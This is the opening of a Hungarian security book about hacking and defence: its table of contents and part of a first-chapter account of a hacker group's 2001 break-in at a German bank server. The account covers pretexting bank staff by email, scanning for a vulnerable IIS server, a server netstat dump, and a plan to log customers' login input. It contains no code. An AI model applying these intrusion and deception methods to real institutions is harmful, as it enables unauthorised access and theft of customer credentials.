Thomas Vosseberg

Feltörés kontra védelem

Fontos figyelmeztetés!
A szerző a könyv teljes tényanyagát a legnagyobb gonddal dolgozta ki, illetve állította össze, és hatékony
ellenőrzések mellett készítette. A hibák ennek ellenére sem zárhatók ki, ezért a kiadó és a szerző kénytelenek felhívni
a figyelmet arra, hogy hibás közlésekre visszavezethető következményekért sem garanciát, sem jogi vagy bármilyen
értelemben vett felelősséget vagy jótállást nem vállalnak. Az internetcímek vagy a verziószámok a szerkesztés
lezártakor rendelkezésre álló állapotot tükrözik. A kiadó és a szerző semmilyen felelősséget vagy garanciát nem vállal
a változásokért, amelyek tőlük függetlenül fellépő körülményekből adódnak.
Az esetleg letöltésre kínált fájok és információk kizárólag nem üzleti felhasználásra szolgálnak. Üzleti felhasználás
csak a licenctulajdonos beleegyezésével lehetséges.

© 2002 Franzis1 Verlag GmbH, 85586 Poing

© 2002 Computer Panoráma, 1091 Budapest, üllői út 25.
Felelős kiadó: Dely Tamás ügyvezető igazgató
Felelős szerkesztő: Horváth Annamária
Fordította: Murányi Eszter
Tervezőszerkesztő: Dancs Katalin
Címlapterv: Szincsák László
Minden jog fenntartva. Jelen könyvet, illetve annak részeit tilos reprodukálni, adatrendszerben tárolni, bármely
formában vagy eszközzel - elektronikus, fényképészeti úton vagy más módon - a kiadó engedélye nélkül közölni.
A kötetet készítette:
Levilágítás: HVG Press
Nyomtatás és kötés: Szegedi Kossuth Nyomda Kft.
6723 Szeged, Makkosházi krt. 1.
Felelős vezető: Gera Imre ügyvezető igazgató
ISBN: 963 7639 225
Tartalom
1. A BANK-HACKELÉS 15
1.1 A feladat 16
1.1.1 Feltételek 16
1.1.2 A megoldáshoz vezető út 17
1.2 Hozzáférési út - információszerzés a Social Engineering módszerrel 18
1.3 A megfelelő cél keresése 20
1.3.1 Takarékpénztárak - túl sok szerverellenőrzés 20
1.3.2 Kutatás: IIS szerver kerestetik 21
1.3.3 Az operációs rendszer és a tranzakciós szoftver 22
1.3.4 Hogyan védik a szervert? 23
1.3.5 Nincsenek logfájlok - ezt biztosan az OFX irányítja 26
1.3.6 Adatátadás scriptekkel 26
1.3.7 Az adatletöltés 28
1.4 Utóirat a bank-hackeléshez 29
1.5 Összefoglalás 29
1.6 Sajtóbeszámolók 30
1.7 Tapasztalatok más bankoknál 33
1.7.1 Forgatókönyv a takarékpénztár-területen 33
2. A WINDOWS-RENDSZEREK (9X, NT, 2000) GYENGE PONTJAI 37
2.1 A hackeren túl - merevlemez-fejreállás, adatbetekintés vagy lopás 38
2.1.1 Különbségek a Windows 9x, az NT és utódai között 39
2.1.2 A fizikai támadás 39
2.1.3 Képernyővédő - jelszó - a bennfenteseknek nem okoz problémát 42
2.1.4 Automatikus lejátszás - a betörés előkészítése CD-vel 44
2.2 A jelszavak kikémlelése 47
2.2.1 Érdekes jelszavak szinte mindenütt akadnak 47
2.2.2 A jelszófájlok 49
2.2.3 Jelszavak a Windows 2000 alatt 51
2.3 A távoli elérésű támadás - internet- vagy hálózati felhasználók, vigyázat! 52
2.3.1 A fájl- és nyomtatómegosztás - veszélyes biztonsági rések 53
2.3.2 Mik azok a szkennerek, és hogyan működnek? 54
2.3.3 Milyen lehetőségeik vannak a betolakodóknak? 56
2.3.4 Jelszóval védett megosztások 57
2.3.5 BruteForce-rohamok a megosztási jelszavak ellen 57
2.3.6 Óvintézkedések 58
2.4 További támadási technikák 59
3. ALAPOK 61
3.1 Az anonim Internetezés csökkenti a kockázatot 62
3.1.1 A legtöbb felhasználó sokat elárul 63
3.1.2 Névtelenül 65
3.2. A TCP/IP 68
3.2.1 Mi a TCP/IP? 68
3.2.2 Különböző protokollok a rétegekben 70
3.3 Néhány alkalmazás és protokoll használata és a biztonságosságuk 80
3.3.1 A Telnet 81
3.3.2 Az FTP 82
3.3.3. Az IRC 84
3.3.4 Az IP-címzés 85
3.4 Aportokról 87
4. A TRÓJAIAK 91
4.1 A történelmi minta 92
4.2 Miből áll egy trójai? 92
4.2.1 A szerver kiosztása 93
4.2.2 A kliens otthon marad, és vezérli a szervert 94
4.2.3 Hogyan szerzik meg a hackerek az IP-t? 95
4.3 így álcázzák és terjesztik a trójaiakat 96
4.3.1 A trójaiakat fájlokba integrálják 96
4.3.2 Álcázás a WinZip-pel. 97
4.3.3 A trójaiakat az ICQ-val is tovább lehet adni 98
4.3.4 Elég egy CD és az automatikus lejátszás funkció 99
4.3.5 A lemezek majdnem ugyanígy működnek 100
4.3.6 További terjesztési stratégiák 100
4.3.7 Mit csinálnak a hobby-hackerek a trójaiakkal? 101
4.4 Sub7 - egy trójai rémisztő lehetőségekkel 102
4.4.1 Támad a Sub7 103
4.5 BackOrifice 2K - Hálózati eszköz vagy támadás a Microsoft ellen 105
4.5.1 A BO2K és összetevői 106
4.6 így ismerjük fel a trójait a rendszerünkben 107
4.6.1 Vírus- és trójai-szkenner 107
4.6.2 AutoRun bejegyzések 108
4.6.3 Windows-Registry - ez már izgalmas 109
4.6.4 Módszerek az Explorer.exe-vel a C:\ meghajtóra 112
4.6.5 A runonce.exe kicserélése 112
5. VÍRUSOK - VESZÉLYES FÁJLOK 113
5.1 Alapok 115
5.1.1 Defektes cluster mint álcázás 116
5.1.2 Miről ismeri fel a vírusvizsgáló a vírust? 117
5.1.3 Videokártyák - az elvetemült támadók búvóhelyei? 117
5.2 A vírus felépítése 117
5.3 Hogyan fertőz meg a vírus egy fájlt? 118
5.3.1 így fertőznek a bootszektor vírusok 118
5.3.2 A dropper vírust helyez el 119
5.4 A legfontosabb vírustípusok rövid áttekintése 119
5.4.1 Bootszektor vírusok 119
5.4.2 Companion vírusok 121
5.4.3 Killerprogramok 121
5.4.4 Logikai bombák 122
5.4.5 Makrovírusok 122
5.4.6 Hálózati vírusok 122
5.4.7 Polimorf vírusok 124
5.4.8 Stealth vagy rejtőzködő vírusok 124
5.4.9 A TSR fájlvírusok 124
5.4.10 Update vírusok 125
5.4.11 Férgek - az ILOVEYOU és társai 125
5.4.12 Időzítők 126
5.5 Word makrovírus írása 126
5.5.1 Minden ténykedés központja - a Normal.dot fájl 126
5.5.2 Modul vagy osztálymodul? 127
5.5.3 Vírusok kontra ServiceRelease 127
5.5.4 Modul makrók 127
5.5.5 Ilyet is lehet: a vírus egy Payload-ot hív meg 131
5.5.6 A vírus fájltulajdonságokat vagy szövegtartalmakat változtat meg 132
5.5.7 A vírus jelszóval védi a fájlt 133
5.6 Megfertőzött osztálymodulok 133
5.7 ILOVEYOU 137
5.7.1 Mi az a féreg? 138
5.7.2 A működési mód 138
5.7.3 Hogyan tudott a féreg elterjedni? 140
5.7.4 A forrás - kommentárokkal 140
5.8 Hogyan működnek a vírusvizsgálók? 149
5.8.1 Szkennermodul 149
5.8.2 Víruspajzs 150
5.8.3 „Fertőtlenítő" 150
5.8.4 A vírusvédő program kiválasztásának a szempontjai 150
6. SZKENNELÉS - A RÉSEK KERESÉSE 151
6.1. A szkenner 152
6.2 Szkennelési eljárások 153
6.2.1 Szkennelés teljes TCP-kapcsolattal 153
6.2.2 Félig nyitott TCP-szkennelés 153
6.2.3 TCP-FIN-Scan 154
6.2.4 Fragmentált szkennelés 154
6.2.5 UDP-lCMP-Port-Unreachable szkennelés 154
6.2.6 UDP-Recvfrom-And-Write szkennelés 155
6.2.7 ICMP-echo-scanning/ping-szkennelés 155
6.2.8 A nyitott portok csak a kezdetet jelentik 155
6.2.9 A portszkennelés elleni védelem 152
7. JELSZÓFELTÖRÉS 157
7.1 Hackelt security-site - jelszófeltöréssel ez is lehetséges 158
7.2 Mire kell ügyelni a felhasználói oldalról? 160
7.3 A jelszófeltörők 161
7.3.1 Ismert felhasználói nevek jelszavainak a kitalálása 162
7.3.2 A beállítások egy áttekintésben 162
7.4 Jelszavak megfejtése a John the Ripperrel 163
7.4.1 Single Mode 163
7.4.2 A szólista módszer 164
7.4.3 Incremental mód 164
7.4.4 Extemal mód 165
7.4.5 A John legfontosabb parancsai 165
7.4.6 A jelszófájl 165
8. TÁMADÁSOK AZ INTERNET-FELHASZNÁLÓK ELLEN 167
8.1 E-mail-támadások 168
8.1.1 Mailbombák - túlcsordul a postafiók 168
8.1.2 A fájlmelléklet kitömése 170
8.1.3 A ConCon bug 172
8.2 ICQ - praktikus és veszélyes 174
8.2.1 Az ICQ - biztonsági kockázat? 175
8.2.2 Milyen biztonsági rések vannak? 176
9. SNIFFER 181
9.1 Mi az a sniffer? 182
9.2 Hogyan működik egy sniffer? 182
9.3 A sniffer veszélyei 184
9.4 Mit lehet tenni a snifferek ellen? 184
10. A DENIAL OF SERVICE TÁMADÁS 187
10.1 Az IP-spoofing mint előfeltétel 188
10.2 Out-of-Band csomagok - a „nuken" 189
10.3 Large Packet-támadások avagy a Ping of Death 190
10.4 Land támadások 190
10.5 TCP-Syn-Flooding 191
10.6 Ping-Flodding 192
10.7 Smurf 192
10.8 DDoS - Distributed Denial of Service támadások 192
10.9 Védelem a DoS-támadások ellen 193
11. BUFFER-OVERFLOW 195
11.1 Az operációs rendszer memóriakezelése 196
11.1.1 Szöveg 197
11.1.2 Adatok 197
11.1.3 Astack (magyarul: halom/rakás) 197
11.2 A Buffer-Overflow-támadások 197
11.2.1 Hogyan lehet ezt kihasználni? 198
11.2.2 Hogyan működik? 199
11.2.3 Minek kell a Shellcode változónál állnia? 202
11.3 Áldozat a Buffer-Overflow-kért 208
11.4 Honnan lehet felismerni a Buffer-Overflow-t? 209
11.5 Milyen védelmi mechanizmusok vannak? 211
11.5.1 Összefüggés a CPU és a Buffer-Overflow között 212
11.5.2 A Buffer-Overflow-k és a tűzfalak 212
12. BIZTONSÁG A WEBEN 213
12.1 CGI-scriptek biztonságossága 214
12.1.1 A CGI további ismert gyenge pontjai 217
12.1.2 Látogatásszámláló résekkel - count.cgi 221
12.2 Védelem 221
12.3 BBS biztonság 222
12.4 Jelszóval védett webterületek megtámadása 224
12.4.1 Védelem 225
12.4.2 Hitelkártya fake-ek 226
12.5 Defacement - a „script kidek" nemzeti sportja 227
12.6 Hogyan védhetjük meg a webszervert? 229
13. TŰZFALAK 231
13.1 A tűzfal feladatai 232
13.1.1 A tűzfal biztonsági szempontból fontos összetevői 233
13.1.2 A tűzfalak kategóriái 234
13.1.3 Tűzfal-koncepciók 235
13.1.4 Hogyan ismeri fel a támadó a tűzfalat? 236
13.2 Desktop tűzfalak 237
13.2.1 Egy desktop tűzfal megtámadása 239
13.2.2 Védelem a desktop tűzfallal 240
1. fejezet - Tartalom
A feladat...................................................16
1.1.1 Feltételek..............................................16
1.1.2 A megoldáshoz vezető út.................................17
Hozzáférési út - információszerzés a Social Engineering módszerrel___18
A megfelelő cél keresése..................................... .20
1.3.1 Takarékpénztárak-túl sok szerverellenőrzés..................20
1.3.2 Kutatás: IIS szerver kerestetik .................. .21
1.3.3 Az operációs rendszer és a tranzakciós szoftver 22
1.3.4 Hogyan védik a szervert?.................................23
1.3.5 Nincsenek logfájlok - ezt biztosan az OFX irányítja . 26
1.3.6 Adatátadás scriptekkel............... 26
1.3.7 Az adatletöltés.......................................... 28
Utóirat a bank-hackeléshez 29
Összefoglalás...............................................29
Sajtóbeszámolók............................................30
Tapasztalatok más bankoknál...................................33
1.7.1 Forgatókönyv a takarékpénztár-területen.....................33

1 A bank-hackelés
Rövid ideig az érdeklődés középpontjába került egy különös támadás egy németországi
bankszerver ellen, amelyről ebben a fejezetben írunk. A támadás visszhangja a könyv szerzőjére
nézve mindenképpen pozitív volt, csak a bank jött ki rosszul az ügyből. Az érintett intézmény a
„betörés" hatására ugyan változtatott online banking rendszerén, így a támadás ennek a könyvnek
a megjelenésekor már nem ismételhető meg, ám mivel a potenciálisan fenyegető károk még most
is jelentősek lehetnek, a bank nevét a szerzők - jogi megfontolásokból - letakarták.
1.1 A feladat
2001 júniusában érdekes feladatot kapott egy fiatal hacker-csoport: banki rendszereket és
elektronikus kártyákat kellett tesztelniük, s az ARD Technikai Tanácsadó műsor keretében kellett
ellenőrizni, mennyire biztonságos manapság az online banki ügyintézés Németországban.
A biztonság kérdését kétféleképpen lehetett megközelíteni: « Mennyire védettek az ügyfelek
adatai, vannak-e lehetőségek betörni egy banki szerverbe?
• Mennyire biztonságosak a tranzakciók, amelyeket a homebanking során végrehajtanak? Van-e
lehetőség, adatokat lekérdezni, manipulálni, átirányítani stb.?
1.1.1 Feltételek
A feladat természetesen bizonyos feltételekhez volt kötve. Ezek közé tartoztak:
« Egyeden ügyfelet sem érhet kár. Ez azt jelentette, hogy egyetlen tranzakciót sem lehetett úgy
manipulálni vagy hamisítani, hogy az végrehajthatatlanná váljon.
• A bank online rendszerét nem lehetett sem zavarni, sem korlátozni a működésében.
• Mindennek észrevétlenül kellett történnie, nehogy az érintett bank az adás sugárzása előtt
ideiglenes intézkedéseket tegyen, hogy megakadályozza a hiányosság nyilvánosságra kerülését.
1.1.2 A megoldáshoz vezető út
A dolog a következőképpen zajlott:
1. Meg kellett találni a hozzáférési utat az adatokhoz vagy a szerverhez.
2. Be kellett törni a rendszerbe, és fel kellett deríteni a manipulációs lehetőségeket.
3. Ki kellett kémlelni az adatokat.
4. Manipulálni kellett a tranzakciókat.
Két lehetséges indítás jutott a csoport eszébe:
• Az intézmény webszerverének a megtámadása;
• Trójai elhelyezése a homebanking-ügyfeleknél, és ezt követően a banki szerver megtámadása a
kikémlelt ügyféladatokkal.
Az egyszerűbb természetesen a régi jó trójaihoz való visszanyúlás lett volna: néhány PC-t
kikémlelni, majd a megfelelő pillanatban, amikor az ügyfél online intézi banki ügyeit, lecsapni.
Néhány terepkísérlet után azonban ez a lehetőség a hajánál előrángatottnak tűnt. Ügyfeleket kell
találni, át kell játszani nekik egy trójai vírust, installálni kell a trójait stb. Ráadásul egy ilyen
indítást állandóan felügyelni is kell, hiszen a kikémlelés után várni kell az első homebanking
tranzakcióra. S ha egy ilyen akció kitudódna, annak olyan sajtóviszhangja lenne, hogy aligha
lehetne végrehajtani a tulajdonképpeni tesztet.
A megfelelő lehetőséget tehát csak egy pénzintézet webszerverének a feltörése jelenthette. Ez
természetesen heves vitákat váltott ki, nem utolsósorban a (német) Btk. 202. és 263. §-aira való
tekintettel. Végülis arra a döntésre jutottak, hogy egyszer azért megpróbálkoznak vele, hiszen talán
csak kisebb hiányosságokra bukkannak, amelyeket nyugodtan fel lehet mutatni. Természetesen egyik
résztvevőnek sem volt pontos koncepciója, és azt sem tudták, hogyan is néznek ki pontosan a banki
rendszerek. Először tehát információkat kellett gyűjteniük.
1.2 Hozzáférési út - információszerzés a Social Engineering
módszerrel
Mindenekelőtt személyes kapcsolatokon keresztül próbáltak információkat szerezni a bankszerverről.
Azonban a saját ügyféltanácsadót kérdezgetni bankja szerverének részleteiről nem túl szerencsés,
hiszen többnyire maga sem tud róla semmit, vagy pedig gyanút fog. Más megoldást kellett tehát
találni.
Először tájékozódni kellett a banki struktúráról. Több banknak e-mailt írtak, amelyben ügyfélnek
adták ki magunkat, aki hallott egy másik bank webszerverét ért hackertámadásról, és most tudni
akarja a saját bankjáról, hogy valójában mennyire van biztonságban ennek az intézménynek a pénze,
illetve védett-e az online banki szolgáltatása.
A mailt úgy kellett megírni, hogy a felépítése miatt ne tudjanak egy szabvány ügyfélszolgálati
szöveggel válaszolni rá. Éppen ezért hálózattech-nikailag jártasnak mutatták magunkat, és végezetül
szenvtelenül megkérdezték, hogyan is védi a bank az online ügymenetet és az ügyfelek adatait. Ezt a
mailt elküldték 10 nagy német pénzintézetnek, amelyek online portált működtetnek.
Körülbelül 5 nap és 9 „Aggodalomra semmi ok, a pénze sehol sincs nagyobb biztonságban, mint
nálunk. Az ÖN XY bankja." típusú szabványmail után, a szerzőket is meglepve, az alábbi mail
érkezett.
1. Az infrastruktúra
Az XY bank online banki rendszerének infrastruktúrája a következők szerint van kiépítve:
Valamennyi online banking megkeresés egy Cisco routeren keresztül érkezik, amely csak a 443-as
portot (HTTPS-kódolású adatátvitel
SSL-lel) bocsátja rendelkezésre, és csak az exkluzíván az online banki rendszer elé kapcsolt plug-
gateway-en, integrált tűzfallal, enged át kéréseket, Így az ügyfelek banki adatainak az átvitele az
online banking oldal betöltésétől kezdve biztonságos és kódolt.
A Cisco router mögött még egy exkluzíván az XY bank számára installált, Intrusion Detection System
is található, amely naplózza, jelzi és vissza is veri a rendszer elleni támadásokat.
A plug-gateway, amely a Cisco router és a bank szervere között található, a következő feladatokat
látja el:
Az internetkapcsolat és a webszerverhez kapcsolódás fizikai szétválasztása: egy külső rendszertől
induló kapcsolat felépítésénél átveszi a kapcsolatot, és az internetről jövő kapcsolattól fizikailag
elválasztott kapcsolatot állít elő a webszerverhez úgy, hogy semmilyen visszacsatolás nem lehetséges
kívülről a külső rendszerre.
A plug-gateway tűzfala minden csomagot analizál, és csak a szűrőszabályok (csak HTTPS elérések
engedélyezettek) teljesülése esetén továbbítja az online banki rendszer webszerverére. Továbbá az
adatbázis szerver fizikailag el van választva a webszervertől és az alkalmazástól, így az adatbázist
egyáltalán nem lehet közvetlenül elérni az internetről.
2. Biztonság
Az infrastruktúra (hardver és rendszerszoftver szinten) megfelelő védettsége érdekében még a
következő biztonsági intézkedéseket tettük az online banki ügyintézésnél:
A kliens és a szerver közötti kapcsolat 128 bites maximális kódolással épül fel. Ez a szabvány az
internetes tranzakcióknál biztonságos.
A PIN-ek kódolva vannak tárolva az adatbázisban, és semmilyen visszacsatolást nem engednek meg a
valójában felhasznált PIN-re.
3. Az adminisztrátor 2001.06. havi biztonsági analízise
A rendszeradminisztrátor 2001. 06. hóban maga hajtott végre szkennelést a nyitott internetfellépés és
a bank online rendszere ellen. Mint várható, az online banki rendszer csak HTTPS-en keresztül (443.
port) a 128 bites kódolású, biztonságos internet-eléréssel érhető el. A kísérlet, hogy további
információkat tudjunk meg a rendszerről (hardver, operációs rendszer, szerver stb.), nem sikerült.
Ez egy jól sikerült példa volt a Social Engineeringre, arra a módszerre amelynek révén részletes
bepillantást nyerhettek a banki webszerver biztonsági intézkedéseibe.
A részletes információk szkennelése - finommunkák
Ami a mail-bői nem derült ki, azonban néhány szkennelés (közelebbit ld. később) eredményeként már
világos volt: minden bank különböző pénzügyi szoftvereket használ, például az OFX-et (Open
Financial Exchange). Ezek gondoskodnak a számlaszámok és a PIN-ek belépő ellenőrzéséről, és
kezelik a további ügyfélinformációkat. Miután ezekről a szerver-kliens szoftverekről csak szűkös
információkat találtak, világossá vált a számukra, hogy csak egy bank login oldaláról juthatnak hozzá
az ügyfelek adataihoz. Még ha lehetséges is lenne adatokhoz jutni az OFX-adatbázisból, továbbra is
tisztázatlan, hogy nincsenek-e esetleg kódolva ezek stb.
1.3 A megfelelő cél keresése
Az ötlet tehát az volt, hogy keresnek egy nagyobb bankot, amelynek a szervere közvetlenül
csatlakozik az online banking-hez, és ott úgy változtatják meg a login-oldalakat, hogy minden bevitel
egy log-fájlba vándoroljon. A kérdés csak az volt, melyik bank legyen az?
1.3.1. Takarékpénztárak - túl sok szerverellenőrzés
A német takarékpénztárak az infrastruktúrára vetett rövid pillantás után kiestek. Az volt ugyanis a
probléma velük, hogy ugyan majdnem minden takarékszövetkezetnek van saját weboldala, ám az
onlinebanking egy számítógépközponton keresztül zajlik. Itt van példának a www.ostspa.de. Ennek
az oldalnak a szervere Schwerinben van, de a tulajdonképpeni oldal, ahol az ügyfelek a számlájukhoz
férnek, a következő cím alatt fut: https://ww2.hotnebanking-mecklenburg-
vorp.de/cgi/anfang.cgi/Ost-
seespk_Rostock, miközben ez a szerver a DVG-nél, Hannoverben található. Egy támadás itt egy
kicsit melegnek tűnt, mert például Hannoverben majdnem minden takarékpénztárat Észak-
Németországból hostolnak, és ki lehetett indulni abból, hogy az adminek „a gépen ülnek", és már egy
tesztcélú szkennelés is figyelmet keltene.
1.3.2 Kutatás: US-szerver kerestetik
így tehát inkább a nagyobb bankokra kellett összpontosítani. Mivel a keresett formátumból
tulajdonképpen nem sok volt, azzal kezdhettek, hogy minden egyes bankot megvizsgáltak. A
hackeléshez tulajdonképpen csak egy Microsoft HS-szerver jöhetett szóba. Szkenneltek néhány
bankot, hogy lássák a szervereiket.
Részletek a szerverekről
Itt láthatók az infók a felhasznált szerverekről

A szkennelő program segítségével különböző bankportálokat vizsgáltak, hogy megtalálják a betörésre

alkalmas rendszert. A program szállította a legfontosabb információkat az egyes bankok és
takarékpénztárak webszer-vereiről. (A szkennelés témájáról a 6. fejezetben részletesen is
olvashatnak.)
Napokig tartó szkennelés után találták meg a ••• oldalt, egy portált, amelyen keresztül úgy a bank,
mint egy leányvállalat, a ••• ügyfelei be tudtak login-olni.
A cél ismertetőjegyei - az előkészítés feltételei
A cél optimálisnak tűnt, mert e bank ügyfeleinek egész Németországban erről a portálról kellett
bejelentkezniük, így az oldal elérési számainak is magasnak kellett lenniük. Utólagos becslések
szerint az említett szám 5000 és 9000 között mozgott óránként. Egy további érv, amely e bank mellett
szólt, a szerver tervezett átépítése volt, úgy az oldalé, mint magáé a rendszeré. Tehát abból
indulhattak ki, lehetséges, hogy sikerrel járnak. A bank minden szakembere az új projekten dolgozik,
és a még futó régi rendszert „elhanyagolják", így a webszerver megtámadásának az időpontja több
mint ideális.
A támadáshoz a következő lépéseket kellett végrehajtani:
1. Feltérképezni az operációs rendszert és a tranzakciókhoz használt szoftvert.
2. Ellenőrizni a védelmi mechanizmusokat.
3. Ellenőrizni, hogy vannak-e logfájlok információkkal.
4. Kikutatni az adatátvitelt.
5. Hitelesíteni.
6. Tesztelni az exploitokát.
1.3.3 Az operációs rendszer és a tranzakciós szoftver
Egy NT-webszerver IIS 4.0-val, Tivoli Management Software-rel karbantartva (amelynek a hibáiról
lehetett már hallani)! De ezt ezen a szerve-
ren nem ellenőrizték, mert egy végzetes rés a IIS-en, amely a parancsok dekódolását érintette,
tökéletesen elegendő volt.
1.3.4 Hogyan védik a szervert?
Úgy tűnt, a szervert tűzfal védi, mert nem válaszolt a pingekre, és kapcsolatokat sem engedett meg
kifelé. A szkennelések során nem derült ki pontosan, milyen tűzfalról volt szó, és azt sem lehetett
megmondani, hogy a webszolgáltatón (80. port) és a HTTPS-en (443. port) kívül más portok elérése
is megengedett-e, de ezt kizárni sem lehetett, mert a netstat-jelentés 4:00 óra körül kapcsolatokat
mutatott a 4966/4967 portra. Mivel a távoli számítógépet egy komputernévvel jelölték, intranet
kapcsolatból indulhattak ki.
Íme a netstat-jelentés:
Prot. Helyi címek Távoli címek Állapot
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING
TCP 0.0.0.0:161 0.0.0.0:0 LISTENING
TCP 0.0.0.0:512 0.0.0.0:0 LISTENING
TCP 0.0.0.0:1027 0.0.0.0:0 LISTENING
TCP 0.0.0.0:1031 0.0.0.0:0 LISTENING
TCP 0.0.0.0:1037 0.0.0.0:0 LISTENING
TCP 0.0.0.0:2867 0.0.0.0:0 LISTENING
TCP 0.0.0.0:2874 0.0.0.0:0 LISTENING
TCP 0.0.0.0:2882 0.0.0.0:0 LISTENING
TCP 0.0.0.0:3037 0.0.0.0:0 LISTENING
TCP 0.0.0.0:3038 0.0.0.0:0 LISTENING
TCP 0.0.0.0:3111 0.0.0.0:0 LISTENING
TCP 0.0.0.0:3125 0.0.0.0:0 LISTENING
TCP 0.0.0.0:3128 0.0.0.0:0 LISTENING
TCP 0.0.0.0:3168 0.0.0.0:0 LISTENING
TCP 0.0.0.0:3489 0.0.0.0:0 LISTENING
TCP 0.0.0.0:3697 0.0.0.0:0 LISTENING
TCP 0.0.0.0:4487 0.0.0.0:0 LISTENING
TCP 0.0.0.0:4796 0.0.0.0:0 LISTENING
TC 0.0.0.0:5044 0.0.0.0:0 LISTENING
P
TCP 127.0.0.1:1025 0.0.0.0:0 LISTENING
TCP 127.0.0.1:1025 127.0.0.1:1031 ESTABLISHED
TCP 127.0.0.1:1026 0.0.0.0:0 LISTENING
TCP 127.0.0.1:1028 0.0.0.0:0 LISTENING
TCP 127.0.0.1:1031 127.0.0.1:1025 ESTABLISHED
TCP 1 72.24. 152.xx: 137 0.0.0.0:0 LISTENING
TCP 172.24. 152.xx:138 0.0.0.0:0 LISTENING
TCP 1 72.24. 152.xx: 139 0.0.0.0:0 LISTENING
TCP 1 72.24. 152.xx: 1029 0.0.0.0:0 LISTENING
TCP 172.24.1 52. xx:3038 172.24.153.4:80 ESTABLISHED
TCP 1 72.24. 152.xx:31 11 172.24.153.4:80 TIME_WAIT
TCP 172.24. 152. xx:3125 172.24.153.5:1435 ESTABLISHED
TCP 172.24.152.xx:3126 172.24.153.5:1435 TIME_WAIT
TCP 172.24.152.xx:3127 172.24.153.5:1435 TIME_WAIT
TCP 193.158.209.xx:80 0.0.0.0:0 LISTENING
TCP 193.158.209.xx:80 62.27.xx6.3:1036 TIME_WAIT
TCP 193.1 58. 209.xx:80 62.46.166,211:4232 TIME_WAIT
TCP 193.158.209.xx:80 62.46.166.211:4233 ESTABLISHED
TCP 193.158.209.xx:80 62.xx6. 133.236:57480 ESTABLISHED
TCP 193.158.209.xx:80 193.101.4.4:1557 ESTABLISHED
TCP 193.1 58. 209.xx:80 212.197.145.191:1042 ESTABLISHED
TCP 193.158.209.xx:80 212.197.157.61:1119 ESTABLISHED
TCP 193.158.209.xx:80 212.197.158.144:1073 ESTABLISHED
TCP 193.158.209.xx:80 217.2.206.133:4233 ESTABLISHED
TCP 193.158.209.xx:137 0.0.0.0:0 LISTENING
TCP 193.158.209.xx:138 0.0.0.0:0 LISTENING
TCP 193.158.209.xx:139 0.0.0.0:0 LISTENING
TCP 193.158.209.xx:443 0.0.0.0:0 LISTENING
TCP 193.158.209.xx:443 62.27.130.213:1182 CLOSING
TCP 193.158.209.xx:443 62.27.130.213:1233 TIME_WAIT
TCP 193. 158.209. xx:443 62.27.130.213:1234 TIME_WAIT
TCP 193.158.209.xx:443 62.27.130.213:1235 TIME_WAIT
TCP 193.158.209.xx:443 62.27.130.213:1236 TIME_WAIT
TCP 193.158.209.xx:443 62.27.130.213:1237 TIME_WAIT
TCP 193.158.209.xx:443 62.27.130.213:1238 TIME_WAIT
Prot. Helyi címek Távoli címek Állapot
TCP 193.158.209.xx:443 62.27.130.213:1240 TIME_WAIT
TCP 193.1 58. 209.xx:443 62.27.130.213:1241 TIME_WAIT
TCP 193.158.209.xx:443 62.27.130.213:1242 TIME_WAIT
TCP 193.158.209.xx:443 62.27.130.213:1243 TIME_WAIT
TCP 193.158.209.xx:443 62.27.130.213:1244 TIME_WAIT
TCP 193.1 58. 209.xx:443 62.27.130.213:1245 TIME_WAIT
TCP 193.158.209.xx:443 62.27.130.213:1246 TIME_WAIT
TCP 193.1 58.209. xx:443 62.27.130.213:1247 TIME_WAIT
TCP 193.158.209.xx:443 62.27.xx6.3:1037 TIME_WAIT
TCP 193.158.209.xx:443 62.27.xx6.3:1038 TIME_WAIT
TCP 193.158.209.xx:443 62.27.xx6.3:1039 TIME_WAIT
TCP 193.1 58.209. xx:443 62.27.xx6.3:1040 TIME_WAIT
TCP 193.158.209.xx:443 62.27.xx6.3:1041 TIME_WAIT
TCP 193.158.209.xx:443 62.27.xx6.3:1042 TIME_WAIT
TCP 193.158.209.xx:443 62.27.xx6.3:1043 TIME_WAIT
TCP 193.158.209.xx:443 62.27.xx6.3:1044 ESTABLISHED
TCP 193.158.209.xx:443 62.54.56.xx: 11 94 CLOSING
TCP 193.158.209.xx:443 62.153.19.xx:1182 TIME_WAIT
TCP 193.158.209.xx:443 62.153.19.xx:1184 TIME_WAIT
TCP 193.158.209.xx:443 62.153.19.xx:1185 TIME_WAIT
TCP 193.158.209.xx:443 62.153.19.xx:1186 TIME_WAIT
TCP 193.158.209.xx:443 62.xx6.165.xx:2326 TIME_WAIT
TCP 193.158.209.xx:443 63.11.56. xx:1277 CLOSING
TCP 193.158.209.xx:443 193.158. 209.xx:3121 TIME_WAIT
TCP 193.158.209.xx:443 193.158.209.xx:3128 ESTABLISHED
TCP 193.1 58. 209.xx:443 209. 154.59.xx: 1202 CLOSING
TCP 1 93.1 58. 209.xx: 1030 0.0.0.0:0 LISTENING
TCP 193.158.209.xx:3128 193.158.209.xx:443 ESTABLISHED
UDP 0.0.0.0:135 *:*
UDP 0.0.0.0:161 *:*
DP 172.24. 152.xx:137 *:*
UDP 172.24.152.xx:138 *:*
UDP 1 72.24. 152.xx: 1029 *:*
UDP 193.158.209.xx:137 *:*
UDP 193.24.152.xx:138 *:*
UDP 193.24.152.xx:1030 *:*

1.3.5 Nincsenek logfájlok -

ezt biztosan az OFX irányítja
IIS logfájlokat egyáltalán nem találtak, sem a C:\WINNT\ system32\LogFiles könyvtárban, sem
máshol. Találtak viszont OFX-szoftver-jelentéseket, amelyek azonban nem adtak információt a
kapcsolatokról. Feltételezték, hogy vagy a tűzfal log-okat értékelik ki, vagy teljesen lemondanak a
loggolásról!
Az OFX-ről
A szerveren sem folyószámla-adatokat, sem adatbázis-jelszavakat vagy hasonlókat nem találtak.
Ebből továbbra is arra következtettek, hogy ezeket központilag tárolják egy számítógépen, és ezt éri
el, illetve kezeli az OFX szoftver. Az OFX-et az ASP-oldalakról - amelyek szokatlan módon nem VB
scripteket, hanem JAVA scripteket használnak - vezérlik, és az adatokat nem lokálisan ellenőrzik; a
felhasználói adatokat egy adatbázisba küldik, és ott hasonlítják össze. Tehát a tranzakcióknál a
tranzakciók számai, a PIN és a felhasználó által megadott TAN az OFX-hez továbbítódik, amely
aztán visszaadja a hibakódokat.
1.3.6 Adatátadás scriptekkel
A szkennelés után világos lett, milyen módon lehetne megtámadni a szervert. Természetesen
pontosan megnézték, hogyan is fogadja és továbbítja a rendszer az adatokat bejelentkezéskor.
Előkészületek (hozzáférés megszerzése)
